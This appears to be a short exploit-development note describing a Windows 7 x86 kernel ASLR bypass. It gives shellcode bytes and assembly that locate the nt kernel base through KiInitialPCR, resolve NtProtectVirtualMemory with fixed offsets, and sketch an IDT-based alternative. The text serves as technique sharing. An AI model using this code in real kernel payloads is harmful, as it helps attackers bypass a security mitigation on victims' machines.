+----------------------------------------------------------------------+
| Windows 7 x86's !nt scandown method on ring 0 ( kernel ASLR bypass ) |
+----------------------------------------------------------------------+

[1] Summary
When Writing Windows 7 Kernel Payload, kernel ASLR makes you hard to call nt!'s kernel api functions as 'NtProtectVirtualAddress()'
I found another way of scandown the nt!'s base address on kernel ASLR implied systems. 

nt!KiInitialPCR() API address is saved at [0x30]:[0x1c], then you can get the !nt's base address. 
and also can resolving addresses of those api functions of !nt.

nt! == 'C:\WINDOWS\system32\ntkrpamp.exe' ( NT Kernel & System )

[2] testbed
MS Windows 7 Enterprise K ( x86 ) on Vmware
( 'K' maybe Korean edition? yeah... )

[3] Assembly Codes
[ 301C_nt_SCANDOWN.asm ] -------------------------------------------------------------------------
"\x66\xbf\x30\x00"     // mov di, 30h ; segment selector
"\x66\x8e\xef"      // mov gs, di
"\x65\x8b\x3d\x1c\x00\x00\x00"  // mov edi,dword ptr gs:[1Ch] ; nt!KiInitialPCR = [30h][1Ch]
"\x81\xef\x00\x1c\x12\x00"  // sub edi, 121C00h ; base addr of nt!
"\x81\xc7\xf9\xca\x23\x00"  // add edi, 23CAF9h ; file offset of NtProtectVirtualMemory

; edi = nt!NtProtectVirtualMemory
[ eoa ]-------------------------------------------------------------------------------------------

p.s: i tested on '[2] testbed'. so you can apply it after changing those above offsets if you want to using on the other windows systems.

Greets to Xpl017Elz, rebel

[4] other general ways using gdt/idt
--
idtr base addr = 0x80b95400
kd> dc 80b95400
80b95400  00081570 [82c58e00] 00081700 82c58e00  p...............
80b95410  00580000 00008500 00081b70 82c5ee00  ..X.....p.......
80b95420  00081cf8 82c5ee00 00081e58 82c58e00  ........X.......
80b95430  00081fcc 82c58e00 000825c8 82c58e00  .........%......
80b95440  00500000 00008500 00082a28 82c58e00  ..P.....(*......
80b95450  00082b4c 82c58e00 00082c8c 82c58e00  L+.......,......
80b95460  00082eec 82c58e00 000831dc 82c58e00  .........1......
80b95470  0008388c 82c58e00 00083c40 82c58e00  .8......@<......

[ assembly codes ]
0040B517     B8 0008DFFF    MOV EAX,FFDF0800
0040B51C     0F0108         SIDT FWORD PTR DS:[EAX]
0040B51F     8D58 04        LEA EBX,DWORD PTR DS:[EAX+4]
0040B522     8B3B           MOV EDI,DWORD PTR DS:[EBX]
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nickname: x90c 
email: geinblues@gmail.com
personal hompage: http://www.x90c.org
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